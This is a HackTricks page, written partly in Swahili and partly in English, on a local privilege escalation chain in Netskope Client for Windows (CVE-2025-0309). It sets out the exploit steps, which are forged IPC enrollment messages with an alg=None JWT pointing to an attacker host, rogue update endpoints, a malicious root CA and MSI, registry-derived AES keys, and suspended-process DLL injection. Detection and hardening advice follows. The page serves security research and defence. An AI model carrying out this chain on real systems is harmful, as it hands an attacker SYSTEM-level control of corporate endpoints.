Kutumia Vibaya Auto-Updaters za Enterprise na Privileged IPC (mf., Netskope stAgentSvc)
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ukurasa huu unagawa kwa ujumla daraja la chains za Windows local privilege escalation zilizopatikana kwenye enterprise endpoint agents na updaters zinazotoa uso wa IPC rahisi kutumia na mchakato wa masasisho wenye ruhusa za juu. Mfano unaowakilisha ni Netskope Client for Windows < R129 (CVE-2025-0309), ambapo mtumiaji mwenye ruhusa ndogo anaweza kulazimisha enrollment kwenye server inayodhibitiwa na mshambuliaji na kisha kuwasilisha MSI ya uharibifu ambayo huduma ya SYSTEM inaisakinisha.
Mafikra muhimu unaweza kuyatumia dhidi ya bidhaa zinazofanana:
- Tumia localhost IPC ya huduma iliyo na ruhusa za juu kulazimisha reâenrollment au reconfiguration kwenda kwenye server ya mshambuliaji.
- Tekeleza endpoints za vendor za update, wasilishe rogue Trusted Root CA, na elekeza updater kwa package hatari, âsignedâ.
- Epuka ukaguzi dhaifu wa signer (CN allowâlists), flags za digest za hiari, na mali za MSI zilizo na uvumilivu mdogo.
- Ikiwa IPC ime âencryptedâ, zaa key/IV kutoka kwa vitambulisho vya mashine vinavyososwa kwa kusomeka na wote kwenye registry.
- Ikiwa huduma inazuia waite kwa image path/process name, weka injection kwenye process iliyoorodheshwa kwenye allowâlist au zalisha moja kwa status suspended na bootstrap DLL yako kupitia mabadiliko madogo ya threadâcontext.
1) Kulazimisha enrollment kwenye server ya mshambuliaji kupitia localhost IPC
Wakala wengi huambatanisha mchakato wa UI wa userâmode ambao unazungumza na huduma ya SYSTEM juu ya localhost TCP kwa kutumia JSON.
Imeonekana katika Netskope:
- UI: stAgentUI (low integrity) â Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Mtiririko wa exploit:
- Tunga token ya JWT ya enrollment yenye claims zinazoamua backend host (mf., AddonUrl). Tumia alg=None ili saini isiwe muhimu.
- Tuma ujumbe wa IPC unaoitisha amri ya provisioning ukiweka JWT yako na jina la tenant:
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
- Huduma inaanza kuwasiliana na rogue server yako kwa ajili ya enrollment/config, kwa mfano:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Vidokezo:
- Ikiwa caller verification inategemea path/nameâbased, anzisha ombi kutoka kwa vendor binary iliyoorodheshwa (angalia §4).
2) Kuiba chaneli ya masasisho ili kuendesha msimbo kama SYSTEM
Mara client anapozungumza na server yako, tekeleza endpoints zinazotarajiwa na muelekeze kwa MSI ya mshambuliaji. Mfuatano wa kawaida:
- /v2/config/org/clientconfig â Rudisha JSON config yenye muda mfupi sana wa updater, kwa mfano:
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
- /config/ca/cert â Rejesha PEM CA certificate. Huduma inaiweka kwenye Local Machine Trusted Root store.
- /v2/checkupdate â Toa metadata inayorejelea MSI hasidi na toleo bandia.
Bypassing common checks seen in the wild:
- Signer CN allowâlist: huduma inaweza tu kuangalia Subject CN ikiwa ni sawa na ânetSkope Incâ au âNetskope, Inc.â. Rogue CA yako inaweza kutoa leaf yenye CN hiyo na kusaini MSI.
- CERT_DIGEST property: jumuisha mali ya MSI isiyo hatari iitwayo CERT_DIGEST. Hakuna utekelezaji wakati wa usakinishaji.
- Optional digest enforcement: bendera ya config (mf., check_msi_digest=false) inazima uthibitishaji wa ziada wa kriptografia.
Result: huduma ya SYSTEM inasakinisha MSI yako kutoka C:\ProgramData\Netskope\stAgent\data*.msi ikitekeleza msimbo wowote kama NT AUTHORITY\SYSTEM.
3) Forging encrypted IPC requests (when present)
From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Wavamizi wanaweza kurudia usimbaji na kutuma amri za kusimbwa halali kutoka kwa mtumiaji wa kawaida. Kidokezo kwa ujumla: ikiwa agent ghafla âencryptsâ IPC yake, angalia device IDs, product GUIDs, install IDs chini ya HKLM kama nyenzo.
4) Bypassing IPC caller allowâlists (path/name checks)
Some services try to authenticate the peer by resolving the TCP connectionâs PID and comparing the image path/name against allowâlisted vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
Two practical bypasses:
- DLL injection into an allowâlisted process (e.g., nsdiag.exe) and proxy IPC from inside it.
- Spawn an allowâlisted binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driverâenforced tamper rules.
5) Tamperâprotection friendly injection: suspended process + NtContinue patch
Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Loader ya userâmode yenye kuaminika inayoheshimu vikwazo hivi:
- CreateProcess ya binary ya vendor kwa CREATE_SUSPENDED.
- Pata handles unazoruhusiwa nadal: PROCESS_VM_WRITE | PROCESS_VM_OPERATION kwenye process, na thread handle yenye THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (au THREAD_RESUME tu ikiwa unatengeneza patch kwenye RIP inayojulikana).
- Andika juu ntdll!NtContinue (au thunk nyingine ya mapema, iliyohakikishiwaâmapped) na stub ndogo inayomwita LoadLibraryW kwa path ya DLL yako, kisha irudi.
- ResumeThread ili kusababisha stub yako ndani ya process, ikipakia DLL yako.
Kwa kuwa hukutumia PROCESS_CREATE_THREAD au PROCESS_SUSPEND_RESUME juu ya process tayari iliyoâprotected (uliunda wewe), sera ya driver inatimizwa.
6) Practical tooling
- NachoVPN (Netskope plugin) inautomate rogue CA, kusaini MSI hasidi, na kutumikia endpoints zinazohitajika: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope ni custom IPC client inayotengeneza ujumbe wa IPC yoyote (hiari kwa AESâencrypted) na inajumuisha suspendedâprocess injection ili uitoke kutoka kwa binary iliyoorodheshwa.
7) Detection opportunities (blue team)
- Monitor additions to Local Machine Trusted Root. Sysmon + registryâmod eventing (see SpecterOps guidance) inafanya kazi vizuri.
- Flag MSI executions initiated by the agentâs service from paths like C:\ProgramData<vendor><agent>\data*.msi.
- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log â angalia addonUrl / tenant anomalies na provisioning msg 148.
- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
Hardening tips for vendors
- Bind enrollment/update hosts to a strict allowâlist; reject untrusted domains in clientcode.
- Authenticate IPC peers with OS primitives (ALPC security, namedâpipe SIDs) instead of image path/name checks.
- Keep secret material out of worldâreadable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
- Treat the updater as a supplyâchain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
References
- Advisory â Netskope Client for Windows â Local Privilege Escalation via Rogue Server (CVE-2025-0309)
- NachoVPN â Netskope plugin
- UpSkope â Netskope IPC client/exploit
- NVD â CVE-2025-0309
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.